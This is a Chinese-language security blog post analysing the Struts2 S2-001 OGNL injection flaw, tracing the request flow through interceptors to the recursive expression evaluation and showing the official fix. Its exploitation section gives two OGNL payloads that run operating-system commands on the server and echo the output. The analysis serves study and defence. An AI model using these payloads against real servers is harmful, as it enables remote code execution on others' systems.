Java Struts2 系列 S2-001


0x01 前言

对于 Struts2 这块的漏洞,我本人一直都是懒癌犯了的状态,一直没有看这一块的漏洞。

懒癌真可怕,原本是打算 10.27 学习这块内容的,结果现在是 11.2 才开始写 …………

关于 S2-001 的环境搭建 ——— https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md

0x02 S2-001 漏洞复现

漏洞影响范围

WebWork 2.1 (with altSyntax enabled)
WebWork 2.2.0 - WebWork 2.2.5
Struts 2.0.0 - Struts 2.0.8

而 Struts2 对 OGNL 表达式的解析使用了开源组件 opensymphony.xwork 2.0.3 所以会有漏洞

流程分析

  • 关键流程分析其实是去看一看怎么走进到 OGNL 表达式里面进去的,又是如何处理的一个流程。看了很多文章实际上都是有点太突兀了,根本不是从漏洞发现者的角度去看漏洞的成因的。

因为这一个 Web Application 的 Filter 是在 org.apache.struts2.dispatcher.FilterDispatcher 下,在这一个类的 doFilter() 方法中做了下面这些业务:

  • 设置编码和本地化信息
  • 创建 ActionContext 对象
  • 分配当前线程的分发器
  • 将request对象进行封装
  • 获取 ActionMapping 对象, ActionMapping 对象对应一个action详细配置信息
  • 执行 Action 请求, 也就是第 172 行的 serviceAction() 方法

所以我们可以先去这个 Filter 的 doFilter() 方法下个断点,开始调试。

前面先做了一系列判断与基础赋值,到 172 行这里,跟进 serviceAction() 方法

首先获取当前请求是否已经有 ValueStack 对象, 这样做的目的是在接受到 chain 跳转方式的请求时, 可以直接接管上次请求的 action。如果没有 ValueStack 对象,获取当前线程的ActionContext对象;如果有 ValueStack 对象,将事先处理好的请求中的参数 put 到 ValueStack 中,获取 ActionMapping 中配置的 namespace, name, method 值

通过 ActionProxyFactory 的 createActionProxy() 类初始化一个 ActionProxy,在这过程中也会创建 StrutsActionProxy 的实例,StrutsActionProxy 是继承自com.opensymphony.xwork2.DefaultActionProxy 的, 在这个代理对象内部实际上就持有了DefaultActionInvocation 的一个实例。所以有的文章里面会说其实是创建了DefaultActionInvocation 的一个实例。

DefaultActionInvocation 对象中保存了 Action 调用过程中需要的一切信息,继续往下走,跟进 proxy.execute()

获取到了上下文环境,并调用 setter 方式赋值上下文,接着继续跟进 invoke() 方法。

invoke() 方法中,首先会顺序的递归执行当前 Action 中所配置的所有的拦截器, 直到拦截器遍历完毕调用真正的 Action,此处是一个 interceptor 迭代器在进行遍历操作,对应遍历的内容是 struts2 包内的 struts-default.xml 里面的 interceptors 标签中的内容

在众多迭代器里面,param 这一个迭代器是用来处理我们输入的参数的,所以想到,会不会对应的迭代器里就有所谓的 OGNL 表达式的处理捏?从漏洞发现者的角度思考,一定是这样的,因为本质上来说,就是要去找 Struts2 的哪个地方调用了 OGNL 表达式,这里被找到之后,关于 S2 系列的漏洞才是开始一石激起千层浪。

我们点进去这个类看一下,先看注释

大致意思就是,最开始在登录框中的 username 和 password 会被保存到 stack 里面,师傅们可以观察一下确实是的。通过 ActionContext.getParameters() 方法将 stack 里面的值拿出来,再通过 ValueStack.setValue(String, Object) 方法把值 set 进去。

接着在后文,它表明了这个类能够处理 OGNL 表达式,并且已经考虑了安全性问题,不过似乎考虑的并不到位。

而此处的迭代的部分调用栈如下

intercept:155, ServletConfigInterceptor (org.apache.struts2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:123, AliasInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:176, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
execute:50, StrutsActionProxy (org.apache.struts2.impl)
serviceAction:504, Dispatcher (org.apache.struts2.dispatcher)
doFilter:419, FilterDispatcher (org.apache.struts2.dispatcher)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)

师傅们可以自行跟一下,我觉得这里逻辑相当简单,就不放上来了,关键点是在这一个类里面,进行了对应的迭代器判断。

这里的调试并非有趣,同时也比较 meaningless,直接一路 f9,直至迭代器为 params 为止,跟进。跟进之后会到 ParametersInterceptor.doIntercept() 方法处

跟进到 setParameters() 方法里面,再从这里面跟进 setValue() 方法,为什么要跟进 setValue() 方法呢?其实是根据它的注释来的,因为 OGNL 的语句会被送到 OgnlValueStack#setValue 处进行处理。

继续跟进再跟进

这里过程就很复杂了,我们再来慢慢分析

在经历过一系列迭代器之后,所以迭代器都处理完毕了,执行了 invokeActionOnly() 方法

通过反射调用执行了 action 实现类里的 execute 方法,开始处理用户的逻辑信息

处理完毕用户的逻辑信息之后,我们继续往下走,跟进 executeResult()

首先 createResult() 这里创建了一个 Result 对象,对应的方法com.opensymphony.xwork2.DefaultActionInvocation#createResult

如果当时调用 Action 返回了 Result 对象, 则直接返回;否则, 通过 proxy 对象获取配置信息, 根据 resultCode 获取到 Result 对象。

继续往下走,executeResult() 方法中调用了 execute() 方法;跟进 doExecute()

准备执行环境: request, pageContext 等等后,发送真正的响应信息,可以看到我们自己配置时候返回结果是 jsp 文件

之后调用JspServlet来处理请求,在解析标签的时候,在标签的开始和结束位置,会分别调用对应实现类如org.apache.struts2.views.jsp.ComponentTagSupport 中的 doStartTag()(一些初始化操作) 及 doEndTag() (标签解析后调用end方法)方法,这下终于到了我们漏洞触发的地方,这里会调用组件 org.apache.struts2.components.UIBean 的end() 方法

跟进 evaluateParams() 方法

由于 altSyntax 默认开启了,接下来会调用 findValue() 方法寻找参数值

继续跟进 translateVariables() 方法

最终触发点是:TextParseUtil#translateVariables,在此处下了断点之后,可以看到依次进入了好几次,不同时候的 expression 的值都会有所不同,我们找到值为 password 时开始分析。比较有意思的是,在调试这里的过程中,比如现在是 password,那么 password 框就不会出现。这其实也是之前 findValue() 处所带来的不一样的地方。

经过两次如下代码之后,将其生成了 OGNL 表达式,返回了%{password}

return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);

然后这次的判断不会直接走到 return,来到后面,取出 %{password} 中间的值 password 赋给 var

然后通过 Object o = stack.findValue(var, asType) 获得到 password 的值为%{1+1}

然后重新赋值给 expression,进行下一次循环

在这一次循环的时候,就再次解析了 %{1+1} 这个 OGNL 表达式,并将其赋值给了o

最后 expression 的值就变成了2,不是 OGNL 表达式时就会直接进入

return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);

最后返回并显示在表单中,这是含有 OGNL 表达式的处理,比正常的处理多了 OGNL 这一部分,所以 Struts2 的运行流程到此结束。

漏洞利用

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()}

或者是

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd","-c","clac"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

0x03 漏洞修复

通过之前的漏洞分析可以看到,由于 struts2 错误的使用了递归来进行验证,导致OGNL表达式的执行

官方给出的修复

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
    // deal with the "pure" expressions first!
    //expression = expression.trim();
    Object result = expression;
    int loopCount = 1;
    int pos = 0;
    while (true) {

        int start = expression.indexOf(open + "{", pos);
        if (start == -1) {
            pos = 0;
            loopCount++;
            start = expression.indexOf(open + "{");
        }
        if (loopCount > maxLoopCount) {
            // translateVariables prevent infinite loop / expression recursive evaluation
            break;
        }
        int length = expression.length();
        int x = start + 2;
        int end;
        char c;
        int count = 1;
        while (start != -1 && x < length && count != 0) {
            c = expression.charAt(x++);
            if (c == '{') {
                count++;
            } else if (c == '}') {
                count--;
            }
        }
        end = x - 1;

        if ((start != -1) && (end != -1) && (count == 0)) {
            String var = expression.substring(start + 2, end);

            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            String middle = null;
            if (o != null) {
                middle = o.toString();
                if (!TextUtils.stringSet(left)) {
                    result = o;
                } else {
                    result = left + middle;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + middle + right;
            } else {
                // the variable doesn't exist, so don't display anything
                result = left + right;
                expression = left + right;
            }
            pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                  (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                  1;
            pos = Math.max(pos, 1);
        } else {
            break;
        }
    }

    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

可以明显看到多了这样的判断

if (loopCount > maxLoopCount) {
    // translateVariables prevent infinite loop / expression recursive evaluation
    break;
}

判断了循环的次数,从而在解析到 %{1+1} 的时候不会继续向下递归

0x04 总结

本质上还是去寻找如何执行 OGNL 表达式的。

0x05 Ref

https://xz.aliyun.com/t/2672
https://www.cnblogs.com/yanghyun/p/4472374.html
https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/s2-001%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/Struts2-001.md


文章作者: Drun1baby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Drun1baby !
评论
  目录